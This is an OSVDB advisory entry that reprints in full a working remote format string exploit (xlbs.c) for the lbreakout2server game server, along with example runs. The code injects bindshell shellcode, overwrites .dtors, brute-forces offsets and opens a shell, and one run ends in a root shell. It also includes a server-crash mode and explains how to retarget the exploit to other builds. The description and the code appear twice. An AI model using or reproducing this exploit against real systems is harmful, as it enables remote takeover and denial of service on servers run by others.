lbreakout2server remote format string exploit.

2003-06-24T03:36:55
ID OSVDB:2217
Type osvdb
Reporter OSVDB
Modified 2003-06-24T03:36:55

Description

Vulnerability Description

this exploits lbreakout2server[v2-2.5+], the new one. the exploit header explains most of it. i made a function to find the pop/memory location on the server. since this is a bit much work manually: you can only see 1-2 returns at a time, and need to know the server code dealios. the example usage will show that. also, this is not forked. so, if you crash it, you're SOL. (still note, this will NOT work out of the box, without the proper address locations. the exploit comments explain how to get these addresses. also, the server will probably not be ran as root, or shouldn't be. i just run everything as root when i am testing :/)

-------------------- example usage --------------------

[v9@localhost v9]$ cc xlbs.c -o xlbs [v9@localhost v9]$ ./xlbs -h localhost -g [] lbreakout[2-2.5+]: remote format string exploit. [] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)

NOTE: i did not add the command to disconnect the user. so, you have to wait roughly a minute before each user (format string placed as a user) times out. basically, wait a minute in-between using it. also, the packets may or may not come back in order. (or come back at all)

[*] finding pop value: localhost:8000.

1: (false) 8049b55 2: (false) 80812c0 3: (false) 80860e8 4: (false) 0 5: (false) ffffffff 6: (false) bffffa20 7: (false) 3b238 8: (false) bffffa38 9: (false) 804c906 10: (false) bffffa20 11: (false) 3b491 12: (false) bffffa38 13: (false) 804c950 14: (true) 78787878

[] the pop value is: 14. [v9@localhost v9]$ ./xlbs -h localhost -t 1 -P 14 -b [] lbreakout[2-2.5+]: remote format string exploit. [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)

target=localhost:8000 pops=14 dtors=0x0805b170(+0) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+4) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+8) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+12) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+16) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+20) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+24) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [] attempting to connect: localhost:12800. [] successfully connected: localhost:12800.

Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6 (disk),10(wheel)

-------------------- exploit: xlbs.c --------------------

/[ lbreakout[2-2.5+]: remote format string exploit. ] * (only v2-2.5-beta1, or greater versions affected) * * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) * * * * lbreakout(2) is a common SDL game included, in at * * least packaged form for many linux distributions. * * it can be found on: * * http://www.freshmeat.net/projects/lbreakout * * http://lgames.sourceforge.net * * * * there exists multiple format string bugs within * * both the client, and the server. these bugs are * * in the form of snprintf(buf1,len,buf2); * * * * this exploit takes advantage of the initial * * login request, found in server/server.c: * * 446:snprintf( name, 20, msg_read_string() ); * * (the size limit(20) does not make a difference) * * * * the shellcode is placed in net_buffer(1024), in * * memory. which is used for all initial udp socket * * reading, but is not cleared. so, the exploit * * works like so: send shellcode(1024 bytes). then, * * send the format string buffer(64 bytes). so, the * * events look like: * * * * first packet: * * [1024 bytes (nops+shellcode)] * * second packet: * * [64 bytes (format string)] * * so, net_buffer(1024) will look like: * * [64 bytes][960 bytes (original shellcode)] * * (only thing the format string buffer overwrites * * are nops) * * * * if you want to add to the platform list, simply * * do as followed: * * ./xlbs -h <hostname> -g * * * * take the "(true)" pop value given. now you have * * the pop value to use. * * * * then, do: objdump -sj.dtors * * /path/to/lbreakout2server * * * * then, take the address given, and add 4 bytes. * * now you have the .dtors address to use. * * * * then, do: objdump -x /path/to/lbreakout2server | * * grep net_buffer | grep -v cur_size * * * * then, take the address given, and add ~200 bytes. * * now you have the return address to use. add ~200 * * bytes because it's a shared buffer, and can get * * overwritten by other users, or yourself. it's * * not likely for a legit packet to be over ~200 * * bytes. the minimum is +64(FMTSIZE) bytes. * * * * i recommend when testing this exploit, using the * * brute force option. ie: "./xlbs -h host.com -b", * * or using an offset of 24("-d 6"), for .dtors. * * * * also, for when lbreakout2server/lbreakout2 is * * setgid games. the -D, and -a command line * * arguments both use the same snprintf() method. * * which can also be exploited locally. * ********/

include <stdio.h>

include <stdlib.h>

include <string.h>

include <unistd.h>

include <getopt.h>

include <signal.h>

include <netdb.h>

include <sys/socket.h>

include <sys/types.h>

include <sys/time.h>

include <netinet/in.h>

include <arpa/inet.h>

define CODESIZE 1024 / 1024 = net_buffer size. /

define FMTSIZE 64 / format buffer size. /

define TIMEOUT 10 / socket timeouts. /

static char x86_exec[]= / bindshell(12800), netric. / "x31xc0x31xdbx31xc9x31xd2xb0x66xb3x01x51" "xb1x06x51xb1x01x51xb1x02x51x8dx0cx24xcd" "x80xb3x02xb1x02x31xc9x51x51x51x80xc1x32" "x66x51xb1x02x66x51x8dx0cx24xb2x10x52x51" "x50x8dx0cx24x89xc2x31xc0xb0x66xcdx80xb3" "x01x53x52x8dx0cx24x31xc0xb0x66x80xc3x03" "xcdx80x31xc0x50x50x52x8dx0cx24xb3x05xb0" "x66xcdx80x89xc3x31xc9x31xc0xb0x3fxcdx80" "x41x31xc0xb0x3fxcdx80x41x31xc0xb0x3fxcd" "x80x31xdbx53x68x6ex2fx73x68x68x2fx2fx62" "x69x89xe3x8dx54x24x08x31xc9x51x53x8dx0c" "x24x31xc0xb0x0bxcdx80x31xc0xb0x01xcdx80"; struct platform {
unsigned int pops;
unsigned long dtors_addr; unsigned long ret_addr; }; struct platform target[]={ / { pops,(.dtors addr+4),(net_buffer addr+200). } / / 2-2.5-beta1 source, on redhat7.1. / { 14,(0x805b0ec+4),(0x0807c940+200) }, / 2-2.5-beta2 source, on redhat7.1. / { 14,(0x805b16c+4),(0x0807c9c0+200) }, / put more platforms here. / { 0,0,0 } }; unsigned short pt=0; / default platform. / char send_packet(char ,unsigned short,char , unsigned int,unsigned short); char getfmt(int,int,unsigned int); char getcode(void); void getshell(char ,unsigned short); void getpops(char hostname,unsigned short port); void sendcode(char ,unsigned short,int,int, unsigned int); void printe(char ,short); void usage(char ); void sig_alarm(){printe("alarm signal/timeout",1);} int main(int argc,char argv){ unsigned short port=8000; / default. / unsigned short getpop=0; unsigned short brute=0; unsigned short crash=0; int doffset=0; int roffset=0; int pops=0; int chr=0; char hostname=0; while((chr=getopt(argc,argv,"t:h:p:d:r:P:gbc"))!=EOF){ switch(chr){ case 't': / change this if more platforms are added. / if(atoi(optarg)<0||atoi(optarg)>1) usage(argv[0]); pt=atoi(optarg); break; case 'h': if(!hostname&&!(hostname=(char )strdup(optarg))) printe("main(): allocating memory failed",1);
break; case 'p': port=atoi(optarg); break; case 'd': doffset=(atoi(optarg)4); break; case 'r': roffset=atoi(optarg); break; case 'P': pops=atoi(optarg); break; case 'g': getpop=1; break; case 'b': brute=1; break; case 'c': crash=1; break; default: usage(argv[0]); break; } } if(!hostname) usage(argv[0]); printf( "[] lbreakout[2-2.5+]: remote format string exploit" ". [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh" "alo)

"); if(getpop){ getpops(hostname,port); exit(0); } else if(crash){ / this can sometimes help to activate the code. / printf("[] sending server crash code. "); / login(name,pwd) buffer prefix, pwd is ignored. / send_packet(hostname,port,"x00x00x00x00x00x00" "x00x00x03x04%n",12,0); } else{ if(brute){ for(doffset=0;doffset<444;doffset+=4) sendcode(hostname,port,doffset,roffset,pops); printf("[!] brute force failed. "); } else sendcode(hostname,port,doffset,roffset,pops); } exit(0); } char send_packet(char hostname,unsigned short port, char data,unsigned int len,unsigned short getreply){ int u; unsigned char buf; struct hostent he; struct sockaddr_in sa; u=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); sa.sin_family=AF_INET; sa.sin_port=htons(port); if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))){ printe("send_packet(): couldn't resolve",0); return("(NULL)"); } memcpy((char )&sa.sin_addr,(char )he->h_addr, sizeof(sa.sin_addr)); } / magic udp connection. / connect(u,(struct sockaddr )&sa,sizeof(sa)); write(u,data,len); if(getreply){ if(!(buf=(char )malloc(512+1))) printe("send_packet(): allocating memory failed",1); memset(buf,0x0,(512+1)); if(read(u,buf,512)<1){ close(u); return("(NULL)"); } close(u); return(buf); } close(u); return("(NULL)"); } char getfmt(int doff,int roff,unsigned int pop){ unsigned int addrl,addrh; unsigned int pops=(pop?pop:target[pt].pops); unsigned long dtors=(target[pt].dtors_addr+doff); unsigned long addr=((target[pt].ret_addr+roff)-1); char buf; char taddr[3]; taddr[0]=(dtors&0xff000000)>>24; taddr[1]=(dtors&0x00ff0000)>>16; taddr[2]=(dtors&0x0000ff00)>>8; taddr[3]=(dtors&0x000000ff); addrh=(addr&0xffff0000)>>16; addrl=(addr&0x0000ffff); if(!(buf=(char )malloc(FMTSIZE+1))) printe("getfmt(): allocating memory failed",1); memset(buf,0x0,(FMTSIZE+1)); / login(name,pwd) buffer prefix, pwd is ignored. / memcpy(buf,"x00x00x00x00x00x00x00x00x03x04" ,10); if(addrh<addrl) sprintf(buf+10, "%c%c%c%c%c%c%c%c" / -8 bytes. / "%%.%dd%%%d$hn" "%%.%dd%%%d$hn", taddr[3]+2,taddr[2],taddr[1],taddr[0], taddr[3],taddr[2],taddr[1],taddr[0], (addrh-8),pops,(addrl-addrh),(pops+1)); else sprintf(buf+10, "%c%c%c%c%c%c%c%c" / -8 bytes. / "%%.%dd%%%d$hn" "%%.%dd%%%d$hn", taddr[3]+2,taddr[2],taddr[1],taddr[0], taddr[3],taddr[2],taddr[1],taddr[0],
(addrl-8),(pops+1),(addrh-addrl),pops); return(buf); } char
getcode(void){ char buf; if(!(buf=(char )malloc(CODESIZE+1))) printe("getcode(): allocating memory failed",1); memset(buf,0x90,(CODESIZE-strlen(x86_exec))); memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec, strlen(x86_exec)); return(buf); } void getshell(char hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096]; struct hostent he; struct sockaddr_in sa; if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) ==-1){ printe("getshell(): socket() failed",0); return; } sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))){ printe("couldn't resolve",0); return; } memcpy((char )&sa.sin_addr,(char )he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); / i'm a lazy man, sometimes. / signal(SIGALRM,sig_alarm); alarm(TIMEOUT); printf("[] attempting to connect: %s:%d. ", hostname,port); if(connect(sock,(struct sockaddr )&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d. ", hostname,port); return; } alarm(0); printf("[*] successfully connected: %s:%d.

", hostname,port); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id ",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1){ printe("getshell(): select() failed",0); return; } if(FD_ISSET(0,&fds)){ if((r=read(0,buf,sizeof(buf)))<1){ printe("getshell(): read() failed",0); return; } if(write(sock,buf,r)!=r){ printe("getshell(): write() failed",0); return; } } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,sizeof(buf)))<1) exit(0); write(1,buf,r); } } close(sock); return; } / rough/dirty, but accurate. sends login(format) / / request is: "xxxx[1 char packet identity][%x]." / void getpops(char hostname,unsigned short port){ unsigned int pops=0; char orig[4+1]; char match[8+1]; char buf; unsigned char reply; / for %d of reply[17]. / if(!(buf=(char )malloc(FMTSIZE+1))) printe("getpops(): allocating memory failed",1); printf("NOTE: i did not add the command to disconnec" "t the user. so, you have to wait roughly a minute " "before each user (format string placed as a user) " "times out. basically, wait a minute in-between us" "ing it. also, the packets may or may not come bac" "k in order. (or come back at all)

"); printf("[*] finding pop value: %s:%d.

",hostname, port); while(pops++<255){ memset(buf,0x0,(FMTSIZE+1)); memcpy(buf,"x00x00x00x00x00x00x00x00x03x04" ,10); / 37=0x25='%' will get processed as a format. / if(pops==37) sprintf(buf+10,"xxxx%c%c%%%d$x%cunused%c",pops, pops,pops,0x0,0x0); else sprintf(buf+10,"xxxx%c%%%d$x%cunused%c",pops, pops,0x0,0x0); reply=(char )send_packet(hostname,port,buf, FMTSIZE,1); / proof of packet reply desired. / memset(orig,0x0,4+1); sprintf(orig,"%.4s",(reply+13)); / want this to be 78787878. (xxxx) / memset(match,0x0,8+1); sprintf(match,"%.8s",(reply+18)); / make sure its the packet desired. / if(strlen(match)&&strlen(orig)&& !strcmp("xxxx",orig)){ if(!strcmp("78787878",match)){ printf("%d: (true) %s ",reply[17],match); printf(" [] the pop value is: %d. ",pops); return; } else printf("%d: (false) %s ",reply[17], strlen(match)?match:"(no data)"); } usleep(100000); / pace it. / } printf(" [!] pop location find failed. "); return; } void sendcode(char *hostname,unsigned short port, int doff,int roff,unsigned int pops){ printf(" target=%s:%d pops=%d dtors=0x%.8lx(+%d)" " ret=0x%.8lx(+%d)

",hostname,port,(pops?pops: target[pt].pops),target[pt].dtors_addr,doff, target[pt].ret_addr,roff); printf("[] sending code buffer. (net_buffer) "); send_packet(hostname,port,getcode(),CODESIZE,0); sleep(1); / needs to be done in order. / printf("[] sending format string, new .dtors. "); send_packet(hostname,port,getfmt(doff,roff,pops), FMTSIZE,0); sleep(1); / give it some time to set in. / getshell(hostname,12800); / defined in shellcode. / return; } void printe(char err,short e){ printf("[!] error: %s. ",err); if(e) exit(1); return; } void usage(char name){ printf( "[] lbreakout[2-2.5+]: remote format string exploit" ". [] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh" "alo)

usage: %s [options] -h hostname

option" "s: -t <number> defines the platform value. -" "h <string> defines the hostname/ip to connect to." " -p <number> defines the port to connect to. " " -d <number*4> defines the offset to use. (dtors_a" "ddr) -r <number> defines the offset to use. (re" "t_addr) -P <number> defines alternate pop value" " to use. -g defines pop finder mode. -b " " defines brute force mode. -c defines server" " crash mode.

platforms: 0 lbreaout2server" " v2-2.5beta1-src on RedHat 7.1. (default) 1 l" "breaout2server v2-2.5beta2-src on RedHat 7.1.

", name); exit(0); }

Short Description

this exploits lbreakout2server[v2-2.5+], the new one. the exploit header explains most of it. i made a function to find the pop/memory location on the server. since this is a bit much work manually: you can only see 1-2 returns at a time, and need to know the server code dealios. the example usage will show that. also, this is not forked. so, if you crash it, you're SOL. (still note, this will NOT work out of the box, without the proper address locations. the exploit comments explain how to get these addresses. also, the server will probably not be ran as root, or shouldn't be. i just run everything as root when i am testing :/)

-------------------- example usage --------------------

[v9@localhost v9]$ cc xlbs.c -o xlbs [v9@localhost v9]$ ./xlbs -h localhost -g [] lbreakout[2-2.5+]: remote format string exploit. [] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)

NOTE: i did not add the command to disconnect the user. so, you have to wait roughly a minute before each user (format string placed as a user) times out. basically, wait a minute in-between using it. also, the packets may or may not come back in order. (or come back at all)

[*] finding pop value: localhost:8000.

1: (false) 8049b55 2: (false) 80812c0 3: (false) 80860e8 4: (false) 0 5: (false) ffffffff 6: (false) bffffa20 7: (false) 3b238 8: (false) bffffa38 9: (false) 804c906 10: (false) bffffa20 11: (false) 3b491 12: (false) bffffa38 13: (false) 804c950 14: (true) 78787878

[] the pop value is: 14. [v9@localhost v9]$ ./xlbs -h localhost -t 1 -P 14 -b [] lbreakout[2-2.5+]: remote format string exploit. [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)

target=localhost:8000 pops=14 dtors=0x0805b170(+0) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+4) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+8) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+12) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+16) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+20) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [*] attempting to connect: localhost:12800. [!] connection failed: localhost:12800.

target=localhost:8000 pops=14 dtors=0x0805b170(+24) ret=0x0807ca88(+0)

[] sending code buffer. (net_buffer) [] sending format string, new .dtors. [] attempting to connect: localhost:12800. [] successfully connected: localhost:12800.

Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknown uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6 (disk),10(wheel)

-------------------- exploit: xlbs.c --------------------

/[ lbreakout[2-2.5+]: remote format string exploit. ] * (only v2-2.5-beta1, or greater versions affected) * * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) * * * * lbreakout(2) is a common SDL game included, in at * * least packaged form for many linux distributions. * * it can be found on: * * http://www.freshmeat.net/projects/lbreakout * * http://lgames.sourceforge.net * * * * there exists multiple format string bugs within * * both the client, and the server. these bugs are * * in the form of snprintf(buf1,len,buf2); * * * * this exploit takes advantage of the initial * * login request, found in server/server.c: * * 446:snprintf( name, 20, msg_read_string() ); * * (the size limit(20) does not make a difference) * * * * the shellcode is placed in net_buffer(1024), in * * memory. which is used for all initial udp socket * * reading, but is not cleared. so, the exploit * * works like so: send shellcode(1024 bytes). then, * * send the format string buffer(64 bytes). so, the * * events look like: * * * * first packet: * * [1024 bytes (nops+shellcode)] * * second packet: * * [64 bytes (format string)] * * so, net_buffer(1024) will look like: * * [64 bytes][960 bytes (original shellcode)] * * (only thing the format string buffer overwrites * * are nops) * * * * if you want to add to the platform list, simply * * do as followed: * * ./xlbs -h <hostname> -g * * * * take the "(true)" pop value given. now you have * * the pop value to use. * * * * then, do: objdump -sj.dtors * * /path/to/lbreakout2server * * * * then, take the address given, and add 4 bytes. * * now you have the .dtors address to use. * * * * then, do: objdump -x /path/to/lbreakout2server | * * grep net_buffer | grep -v cur_size * * * * then, take the address given, and add ~200 bytes. * * now you have the return address to use. add ~200 * * bytes because it's a shared buffer, and can get * * overwritten by other users, or yourself. it's * * not likely for a legit packet to be over ~200 * * bytes. the minimum is +64(FMTSIZE) bytes. * * * * i recommend when testing this exploit, using the * * brute force option. ie: "./xlbs -h host.com -b", * * or using an offset of 24("-d 6"), for .dtors. * * * * also, for when lbreakout2server/lbreakout2 is * * setgid games. the -D, and -a command line * * arguments both use the same snprintf() method. * * which can also be exploited locally. * ********/

include <stdio.h>

include <stdlib.h>

include <string.h>

include <unistd.h>

include <getopt.h>

include <signal.h>

include <netdb.h>

include <sys/socket.h>

include <sys/types.h>

include <sys/time.h>

include <netinet/in.h>

include <arpa/inet.h>

define CODESIZE 1024 / 1024 = net_buffer size. /

define FMTSIZE 64 / format buffer size. /

define TIMEOUT 10 / socket timeouts. /

static char x86_exec[]= / bindshell(12800), netric. / "x31xc0x31xdbx31xc9x31xd2xb0x66xb3x01x51" "xb1x06x51xb1x01x51xb1x02x51x8dx0cx24xcd" "x80xb3x02xb1x02x31xc9x51x51x51x80xc1x32" "x66x51xb1x02x66x51x8dx0cx24xb2x10x52x51" "x50x8dx0cx24x89xc2x31xc0xb0x66xcdx80xb3" "x01x53x52x8dx0cx24x31xc0xb0x66x80xc3x03" "xcdx80x31xc0x50x50x52x8dx0cx24xb3x05xb0" "x66xcdx80x89xc3x31xc9x31xc0xb0x3fxcdx80" "x41x31xc0xb0x3fxcdx80x41x31xc0xb0x3fxcd" "x80x31xdbx53x68x6ex2fx73x68x68x2fx2fx62" "x69x89xe3x8dx54x24x08x31xc9x51x53x8dx0c" "x24x31xc0xb0x0bxcdx80x31xc0xb0x01xcdx80"; struct platform {
unsigned int pops;
unsigned long dtors_addr; unsigned long ret_addr; }; struct platform target[]={ / { pops,(.dtors addr+4),(net_buffer addr+200). } / / 2-2.5-beta1 source, on redhat7.1. / { 14,(0x805b0ec+4),(0x0807c940+200) }, / 2-2.5-beta2 source, on redhat7.1. / { 14,(0x805b16c+4),(0x0807c9c0+200) }, / put more platforms here. / { 0,0,0 } }; unsigned short pt=0; / default platform. / char send_packet(char ,unsigned short,char , unsigned int,unsigned short); char getfmt(int,int,unsigned int); char getcode(void); void getshell(char ,unsigned short); void getpops(char hostname,unsigned short port); void sendcode(char ,unsigned short,int,int, unsigned int); void printe(char ,short); void usage(char ); void sig_alarm(){printe("alarm signal/timeout",1);} int main(int argc,char argv){ unsigned short port=8000; / default. / unsigned short getpop=0; unsigned short brute=0; unsigned short crash=0; int doffset=0; int roffset=0; int pops=0; int chr=0; char hostname=0; while((chr=getopt(argc,argv,"t:h:p:d:r:P:gbc"))!=EOF){ switch(chr){ case 't': / change this if more platforms are added. / if(atoi(optarg)<0||atoi(optarg)>1) usage(argv[0]); pt=atoi(optarg); break; case 'h': if(!hostname&&!(hostname=(char )strdup(optarg))) printe("main(): allocating memory failed",1);
break; case 'p': port=atoi(optarg); break; case 'd': doffset=(atoi(optarg)4); break; case 'r': roffset=atoi(optarg); break; case 'P': pops=atoi(optarg); break; case 'g': getpop=1; break; case 'b': brute=1; break; case 'c': crash=1; break; default: usage(argv[0]); break; } } if(!hostname) usage(argv[0]); printf( "[] lbreakout[2-2.5+]: remote format string exploit" ". [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh" "alo)

"); if(getpop){ getpops(hostname,port); exit(0); } else if(crash){ / this can sometimes help to activate the code. / printf("[] sending server crash code. "); / login(name,pwd) buffer prefix, pwd is ignored. / send_packet(hostname,port,"x00x00x00x00x00x00" "x00x00x03x04%n",12,0); } else{ if(brute){ for(doffset=0;doffset<444;doffset+=4) sendcode(hostname,port,doffset,roffset,pops); printf("[!] brute force failed. "); } else sendcode(hostname,port,doffset,roffset,pops); } exit(0); } char send_packet(char hostname,unsigned short port, char data,unsigned int len,unsigned short getreply){ int u; unsigned char buf; struct hostent he; struct sockaddr_in sa; u=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP); sa.sin_family=AF_INET; sa.sin_port=htons(port); if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))){ printe("send_packet(): couldn't resolve",0); return("(NULL)"); } memcpy((char )&sa.sin_addr,(char )he->h_addr, sizeof(sa.sin_addr)); } / magic udp connection. / connect(u,(struct sockaddr )&sa,sizeof(sa)); write(u,data,len); if(getreply){ if(!(buf=(char )malloc(512+1))) printe("send_packet(): allocating memory failed",1); memset(buf,0x0,(512+1)); if(read(u,buf,512)<1){ close(u); return("(NULL)"); } close(u); return(buf); } close(u); return("(NULL)"); } char getfmt(int doff,int roff,unsigned int pop){ unsigned int addrl,addrh; unsigned int pops=(pop?pop:target[pt].pops); unsigned long dtors=(target[pt].dtors_addr+doff); unsigned long addr=((target[pt].ret_addr+roff)-1); char buf; char taddr[3]; taddr[0]=(dtors&0xff000000)>>24; taddr[1]=(dtors&0x00ff0000)>>16; taddr[2]=(dtors&0x0000ff00)>>8; taddr[3]=(dtors&0x000000ff); addrh=(addr&0xffff0000)>>16; addrl=(addr&0x0000ffff); if(!(buf=(char )malloc(FMTSIZE+1))) printe("getfmt(): allocating memory failed",1); memset(buf,0x0,(FMTSIZE+1)); / login(name,pwd) buffer prefix, pwd is ignored. / memcpy(buf,"x00x00x00x00x00x00x00x00x03x04" ,10); if(addrh<addrl) sprintf(buf+10, "%c%c%c%c%c%c%c%c" / -8 bytes. / "%%.%dd%%%d$hn" "%%.%dd%%%d$hn", taddr[3]+2,taddr[2],taddr[1],taddr[0], taddr[3],taddr[2],taddr[1],taddr[0], (addrh-8),pops,(addrl-addrh),(pops+1)); else sprintf(buf+10, "%c%c%c%c%c%c%c%c" / -8 bytes. / "%%.%dd%%%d$hn" "%%.%dd%%%d$hn", taddr[3]+2,taddr[2],taddr[1],taddr[0], taddr[3],taddr[2],taddr[1],taddr[0],
(addrl-8),(pops+1),(addrh-addrl),pops); return(buf); } char
getcode(void){ char buf; if(!(buf=(char )malloc(CODESIZE+1))) printe("getcode(): allocating memory failed",1); memset(buf,0x90,(CODESIZE-strlen(x86_exec))); memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec, strlen(x86_exec)); return(buf); } void getshell(char hostname,unsigned short port){ int sock,r; fd_set fds; char buf[4096]; struct hostent he; struct sockaddr_in sa; if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) ==-1){ printe("getshell(): socket() failed",0); return; } sa.sin_family=AF_INET; if((sa.sin_addr.s_addr=inet_addr(hostname))){ if(!(he=gethostbyname(hostname))){ printe("couldn't resolve",0); return; } memcpy((char )&sa.sin_addr,(char )he->h_addr, sizeof(sa.sin_addr)); } sa.sin_port=htons(port); / i'm a lazy man, sometimes. / signal(SIGALRM,sig_alarm); alarm(TIMEOUT); printf("[] attempting to connect: %s:%d. ", hostname,port); if(connect(sock,(struct sockaddr )&sa,sizeof(sa))){ printf("[!] connection failed: %s:%d. ", hostname,port); return; } alarm(0); printf("[*] successfully connected: %s:%d.

", hostname,port); signal(SIGINT,SIG_IGN); write(sock,"uname -a;id ",13); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); if(select(sock+1,&fds,0,0,0)<1){ printe("getshell(): select() failed",0); return; } if(FD_ISSET(0,&fds)){ if((r=read(0,buf,sizeof(buf)))<1){ printe("getshell(): read() failed",0); return; } if(write(sock,buf,r)!=r){ printe("getshell(): write() failed",0); return; } } if(FD_ISSET(sock,&fds)){ if((r=read(sock,buf,sizeof(buf)))<1) exit(0); write(1,buf,r); } } close(sock); return; } / rough/dirty, but accurate. sends login(format) / / request is: "xxxx[1 char packet identity][%x]." / void getpops(char hostname,unsigned short port){ unsigned int pops=0; char orig[4+1]; char match[8+1]; char buf; unsigned char reply; / for %d of reply[17]. / if(!(buf=(char )malloc(FMTSIZE+1))) printe("getpops(): allocating memory failed",1); printf("NOTE: i did not add the command to disconnec" "t the user. so, you have to wait roughly a minute " "before each user (format string placed as a user) " "times out. basically, wait a minute in-between us" "ing it. also, the packets may or may not come bac" "k in order. (or come back at all)

"); printf("[*] finding pop value: %s:%d.

",hostname, port); while(pops++<255){ memset(buf,0x0,(FMTSIZE+1)); memcpy(buf,"x00x00x00x00x00x00x00x00x03x04" ,10); / 37=0x25='%' will get processed as a format. / if(pops==37) sprintf(buf+10,"xxxx%c%c%%%d$x%cunused%c",pops, pops,pops,0x0,0x0); else sprintf(buf+10,"xxxx%c%%%d$x%cunused%c",pops, pops,0x0,0x0); reply=(char )send_packet(hostname,port,buf, FMTSIZE,1); / proof of packet reply desired. / memset(orig,0x0,4+1); sprintf(orig,"%.4s",(reply+13)); / want this to be 78787878. (xxxx) / memset(match,0x0,8+1); sprintf(match,"%.8s",(reply+18)); / make sure its the packet desired. / if(strlen(match)&&strlen(orig)&& !strcmp("xxxx",orig)){ if(!strcmp("78787878",match)){ printf("%d: (true) %s ",reply[17],match); printf(" [] the pop value is: %d. ",pops); return; } else printf("%d: (false) %s ",reply[17], strlen(match)?match:"(no data)"); } usleep(100000); / pace it. / } printf(" [!] pop location find failed. "); return; } void sendcode(char *hostname,unsigned short port, int doff,int roff,unsigned int pops){ printf(" target=%s:%d pops=%d dtors=0x%.8lx(+%d)" " ret=0x%.8lx(+%d)

",hostname,port,(pops?pops: target[pt].pops),target[pt].dtors_addr,doff, target[pt].ret_addr,roff); printf("[] sending code buffer. (net_buffer) "); send_packet(hostname,port,getcode(),CODESIZE,0); sleep(1); / needs to be done in order. / printf("[] sending format string, new .dtors. "); send_packet(hostname,port,getfmt(doff,roff,pops), FMTSIZE,0); sleep(1); / give it some time to set in. / getshell(hostname,12800); / defined in shellcode. / return; } void printe(char err,short e){ printf("[!] error: %s. ",err); if(e) exit(1); return; } void usage(char name){ printf( "[] lbreakout[2-2.5+]: remote format string exploit" ". [] by: vade79/v9 v9@fakehalo.deadpig.org (fakeh" "alo)

usage: %s [options] -h hostname

option" "s: -t <number> defines the platform value. -" "h <string> defines the hostname/ip to connect to." " -p <number> defines the port to connect to. " " -d <number*4> defines the offset to use. (dtors_a" "ddr) -r <number> defines the offset to use. (re" "t_addr) -P <number> defines alternate pop value" " to use. -g defines pop finder mode. -b " " defines brute force mode. -c defines server" " crash mode.

